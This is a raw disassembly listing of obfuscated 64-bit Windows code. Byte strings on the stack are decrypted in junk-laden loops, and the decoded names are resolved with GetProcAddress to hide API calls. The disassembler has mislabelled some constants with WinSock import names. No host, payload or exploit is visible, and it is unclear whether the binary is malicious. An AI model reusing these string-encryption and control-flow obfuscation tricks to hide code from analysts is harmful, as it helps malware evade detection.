movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
movabs rdx, 0x566530c4009da948
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x2217], cl
inc r9
dec rdi
inc rdi
jmp 0x14018e7e3
movabs rdx, 0x6047618640b916f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14018e7e3
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x7fd70000f92be838
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x3c
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r11b
mov byte [rbp + rdi + 0x2217], dl
add r8, r9
jmp 0x14018f28a
movabs rdx, 0xba8024925e801b38
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14018e7e3
mov rbx, r10
movabs rcx, 0x910e555565f1dc48
add rcx, rdi
and r10b, cl
mov eax, 4
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
movabs rcx, 0xa948cf3df1ba2728
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x18
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x2217], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, cl
mov byte [rbp + rdi + 0x2217], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
movabs rdx, 0x3e2ab6db74d55e68
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
movabs rcx, 0xc410555690f35958
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
jmp 0x14018e7e0
movabs rdx, 0x9a9e861998651a68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e7d0
lea rdx, [rbp + 0x14946b7]
jmp 0x14018f3e2
lea rdx, [rbp + 0x50662f]
jmp 0x14018f3e2
lea rdx, [rbp + 0x2217]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14018f403
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
jmp 0x14018f543
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x43fc], r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x4400]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x4600], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4608], xmm0
movups xmmword [rbp + 0x4618], xmm0
mov qword [rbp + 0x4628], rax
movups xmmword [rbp + 0x4630], xmm0
mov dword [rbp + 0x4640], eax
mov dword [rbp + 0x4644], r12d
mov qword [rbp + 0x4648], r12
mov qword [rbp + 0x4650], r12
mov dword [rbp + 0x4658], r12d
mov qword [rbp + 0x4660], r12
mov qword [rbp + 0x4668], rax
mov dword [rbp + 0x4670], eax
mov dword [rbp + 0x4674], r12d
mov dword [rbp + 0x4678], r12d
mov dword [rbp + 0x467c], r12d
mov word [rbp + 0x4680], r12w
movups xmmword [rbp + 0x4688], xmm0
movups xmmword [rbp + 0x4698], xmm0
mov qword [rbp + 0x46a8], rax
mov qword [rbp + 0x43f0], 0xaed0de
mov dword [rbp + 0x43f8], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x43f0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r12
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call fcn.140163710
mov r15d, eax
test eax, eax
js 0x14018f52a
cmp dword [rbp + 0x43fc], 0x10000
je 0x14018f530
mov r15d, 0xc0000001
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
test r15d, r15d
jns 0x140197297
lea rax, [rbp + 0x1a30]
mov qword [rbp - 0x18], rax
mov rdx, r13
lea rcx, [rbp + 0x1a30]
call fcn.140135eb0
mov rbx, rax
mov qword [rbp + 8], rax
lea rax, [rbp + 0x1a50]
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp]
lea rcx, [rbp + 0x1a50]
call fcn.140135eb0
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x1a70]
call fcn.140135eb0
mov qword [rbp + 0x18], rax
movzx r15d, byte [rbp + 0x36b]
mov rdx, rbx
lea rcx, [rbp + 0x1a90]
call fcn.140135eb0
mov r14, rax
mov qword [rbp - 0x10], rax
mov byte [rbp - 0x3d], 0
lea rcx, [rbp + 0x1ab0]
call fcn.140155160
nop
lea rcx, [rbp - 0x3c]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x1e8]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x1f0]
mov rcx, r14
call fcn.14013e7f0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1ad0]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1ad0]
lea rcx, [rbp + 0x3180]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x3180]
lea rcx, [rbp + 0x760]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x3180]
call fcn.14015c7a0
lea rdx, [0x14047f0e8]
lea rcx, [rbp + 0x1af0]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x770]
call fcn.14015d120
nop
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x3268]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x3268]
lea rcx, [rbp + 0x770]
call fcn.14015d160
nop
lea rcx, [rbp + 0x3268]
call fcn.14015c7a0
lea rcx, [rbp + 0x770]
call fcn.14015d170
mov rsi, rax
mov byte [rbp + 0x209d], WSASetLastError
mov byte [rbp + 0x209e], 0x19
mov byte [rbp + 0x209f], 0x8d
mov byte [rbp + 0x20a0], 0x1b
mov byte [rbp + 0x20a1], 0x75
mov byte [rbp + 0x20a2], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x20a3], 0x8a
mov byte [rbp + 0x20a4], reloc.WS2_32.dll_socket
mov byte [rbp + 0x20a5], 0x8d
mov byte [rbp + 0x20a6], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x20a7], 0x80
mov byte [rbp + 0x20a8], reloc.WS2_32.dll_send
mov byte [rbp + 0x20a9], 0x62
mov byte [rbp + 0x20aa], recvfrom
mov byte [rbp + 0x20ab], 0x98
mov byte [rbp + 0x20ac], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20ad], 0x9d
mov byte [rbp + 0x20ae], 9
mov byte [rbp + 0x20af], 0xa
mov byte [rbp + 0x20b0], reloc.WS2_32.dll_inet_addr
xor eax, eax
mov qword [rbp + 0x20b1], rax
mov dword [rbp + 0x20b9], eax
mov word [rbp + 0x20bd], ax
mov byte [rbp + 0x20bf], al
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0x954ff1980f4de5d4
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140190582
movzx ebx, byte [rbp + rdi + 0x209d]
mov r10, rbx
cmp r8, rdi
ja 0x140190576
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018f7bc
movabs rcx, 0xca2860d67aa22f84
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x64
jmp 0x14018f7f0
je 0x1401904dd
inc rax
cmp r8, rax
je 0x14019047e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140190428
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401903b8
nop dword [rax + rax]
cmp r9, rdi
ja 0x14019056a
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14018f822
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018f870
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14019035e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019034d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140190325
lea rax, [rcx + 1]
cmp r8, rax
je 0x140190302
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401902dd
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401902b5
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14018feae
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14018fe87
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14018fe53
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018fe22
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14018fe0e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018fde6
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14018fdc3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018fd9f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018fd7a
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018fd52
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018f880
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140190542
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14019051f
movzx edx, r12b
cmp r8, 0x3e8
jae 0x140190259
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x140190159
movabs rdx, 0xc0ef04b347f33848
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018fc57
movzx edx, r12b
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140190288
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14018ffe8
movabs rdx, 0x2b9f131b38a55274
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14018fca0
movabs rdx, 0x7fdfa9905bd362f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140190501
movabs rdx, 0xeb8ee7e3668f03f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401904a2
movabs rdx, 0x573e2636714aa4e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x14019044b
movabs rcx, 0xc2ed64897c0645e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140190407
movabs rdx, 0x2e9ca2dc86c1e6d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140190404
movabs rdx, 0x9a4be12f917d87d0
mov ecx, 0x28
jmp 0x1401903c7
movabs rcx, 0x5fb1f829c3928c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
movabs rcx, 0x71aa5dd5a6f4c9c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
movabs rdx, 0xdd599c28b1b06ab8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14019037c
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14018fedf
movabs rdx, 0xca2860d67aa22f84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018fd0c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ff10
movabs rdx, 0x2a9fe3301e9bcba8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140190501
inc rax
cmp r8, rax
jne 0x14018ff40
movabs rdx, 0xbef0a4dd13e02ab0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401904a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018ff6c
movabs rcx, 0x5341668a092489b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14019044e
mov byte [rbp + 0x5d10], r12b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018ffb1
movabs rdx, 0xa4846d3dde3605d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + 0x5d10], r12b
dec rdi
inc rdi
jmp 0x14018f772
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018fd0c
movabs rcx, 0xcd25f097c8bec3e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
mov byte [rbp + 0x5d10], r12b
jmp 0x14019037c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140190018
movabs rdx, 0xbfefd4c82de9b17c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x14019037c
inc rax
cmp r8, rax
jne 0x140190059
movabs rdx, 0x54409675232e1084
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140190098
movabs rdx, 0xe891582218726f8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401900c5
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140190185
movabs rdx, 0x20675721d1e34da0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x209d]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, bl
jmp 0x1401903db
movabs rdx, 0xb4b818cec727aca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x209d]
add r11b, bl
jmp 0x14019044b
movabs rdx, 0xcc26c0acaeb53d1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140190501
movabs rdx, 0x37d5feffb970de14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401904a2
movabs rcx, 0xf347ba5cee82004
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
jmp 0x140190407
movabs rdx, 0x7ae3b9f8d9a3c0fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140190404
movabs rdx, 0xe692f84be45f61f4
mov ecx, 0x2a
jmp 0x1401903c7
movabs rcx, 0x29a0b345049244dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movabs rdx, 0x563ef64b57411e1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x209d], cl
inc r9
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
movabs rdx, 0x440ceae43a3c69b4
mov ecx, 0xa
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xea8fb7f84c857d24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x209d], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
mov rbx, r10
movabs rdx, 0x871aa5dd5a6f4c9c
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
add r11b, dl
movabs rcx, 0x7ee079a541c9dc2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x34
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x209d], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1401904a5
movabs rdx, 0xf2c9e430652aed94
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
movzx ebx, r10b
add r11b, dl
movabs rdx, 0x4908da7bbc6c0bb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x209d], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
jmp 0x140190501
movabs rdx, 0x5e7922836fe68e8c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x209d]
add rax, r9
add rdi, rax
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14018f772
movabs rdx, 0x72a98dc0c0fe508c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018f760
lea rax, [rbp + 0x1780d4d]
jmp 0x140190589
lea rax, [rbp + 0xda3cd1]
jmp 0x140190589
lea rax, [rbp + 0x209d]
mov qword [rbp + 0x1f8], rax
mov byte [rbp + 0x20c0], 0xb9
mov byte [rbp + 0x20c1], recvfrom
mov byte [rbp + 0x20c2], 0x65
mov byte [rbp + 0x20c3], 0xf3
mov byte [rbp + 0x20c4], 0x55
mov byte [rbp + 0x20c5], 0xf1
mov byte [rbp + 0x20c6], 0x60
mov byte [rbp + 0x20c7], 0xf7
mov byte [rbp + 0x20c8], 0x19
mov byte [rbp + 0x20c9], 0xf5
mov byte [rbp + 0x20ca], 0x3b
mov byte [rbp + 0x20cb], 0xfb
mov byte [rbp + 0x20cc], 0x53
mov byte [rbp + 0x20cd], 0xf9
mov byte [rbp + 0x20ce], 0x5b
mov byte [rbp + 0x20cf], 0xff
mov byte [rbp + 0x20d0], WSASetLastError
mov byte [rbp + 0x20d1], 0xfd
mov byte [rbp + 0x20d2], 0x76
mov byte [rbp + 0x20d3], 0xe3
mov byte [rbp + 0x20d4], 0xe0
mov byte [rbp + 0x20d5], 0xe1
xor eax, eax
mov qword [rbp + 0x20d6], rax
mov dword [rbp + 0x20de], eax
mov byte [rbp + 0x20e2], al
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0xc645214fcec9e0d6
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1401913df
movzx r10d, byte [rbp + rdi + 0x20c0]
mov rbx, r10
nop dword [rax + rax]
cmp r9, rdi
ja 0x1401913d3
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1401906c9
movabs rcx, 0x971019616099cfe
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0xe
jmp 0x140190710
je 0x14019133c
lea rax, [r8 + 2]
cmp r9, rax
je 0x140191299
lea rax, [r8 + 4]
cmp r9, rax
je 0x14019125d
lea rax, [r8 + 5]
cmp r9, rax
je 0x14019120c
lea rax, [r8 + 6]
cmp r9, rax
je 0x1401911de
lea rax, [r8 + 2]
cmp r9, rax
je 0x140191185
cmp r8, rdi
ja 0x1401913c7
lea rax, [r8 + 6]
cmp r9, rax
jae 0x140190743
lea rdx, [rdi + r13]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140190790
lea rax, [r8 + 1]
cmp r9, rax
je 0x140191171
lea rax, [r8 + 2]
cmp r9, rax
je 0x140191142
lea rax, [r8 + 5]
cmp r9, rax
je 0x14019111d
lea rax, [r8 + 7]
cmp r9, rax
je 0x1401910f5
lea rax, [r8 + 9]
cmp r9, rax
je 0x1401910cf
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140190cf4
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x140190ce0
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x140190cae
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140190c7f
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140190c56
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x140190c2a
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x140190c06
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140190bde
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140190bba
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140190b84
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x1401907a0
cmp r9, 0x42
jae 0x14019107f
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x1401910af
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x140190e4c
movabs rdx, 0x3fed60c3404a6886
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140190aae
movabs rcx, 0xa59ec7ded8bb4504
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1c
movzx eax, byte [rbp + rdi + 0x20c0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140190672
movabs rcx, 0x92bcc4b2aca80b08
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1401912ef
movabs rdx, 0x7fdac1868094d10c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x1401912bc
movabs rcx, 0x6cf8be5a54819710
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x140191280
movabs rdx, 0x5a16bb2e286e5d14
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x140191280
movabs rdx, 0x4734b801fc5b2318
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14019122b
movabs rdx, 0x3452b4d5d047e91c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x140190672
movabs rdx, 0x2170b1a9a434af20
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x140190672
movabs rdx, 0xe8eae7d78217524
mov ecx, 2
jmp 0x140191194
lea rax, [r8 + 0x1000]
cmp r9, rax
jae 0x140190d2a
movabs rdx, 0x971019616099cfe
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140190b3d
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140190d71
movabs rdx, 0x8c8a429f9d93c1ac
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x20c0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140190672
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140190da6
movabs rdx, 0xb24e48f7f5ba35a4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x1401912bc
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140190dd8
movabs rcx, 0xc5304c2421cd6fa0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x140191280
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140190e0d
movabs rdx, 0xeaf4527c79f3e398
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x14019122b
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140190b40
movabs rdx, 0x10b858d4d21a5790
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rdi
inc rdi
jmp 0x140190672
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140190e82
movabs rdx, 0x52cf63ef6c5da282
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401911a9
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140190eba
movabs rcx, 0xe8caa8251ffb012c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x34]
jmp 0x1401912bc
movabs rdx, 0x70373ddd5b76eab2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14019135c
movabs rdx, 0x4a733785035076ba
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x1401912bc
movabs rcx, 0x37913458d73d3cbe
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x140191280
movabs rdx, 0xfeeb2ad453038eca
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x140190672
movabs rdx, 0xd927247bfadd1ad2
mov ecx, 0x21
jmp 0x140191194
movabs rdx, 0xb3631e23a2b6a6da
mov ecx, 5
add rdx, rdi
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xcc77a362ddde2a32
add rcx, rdi
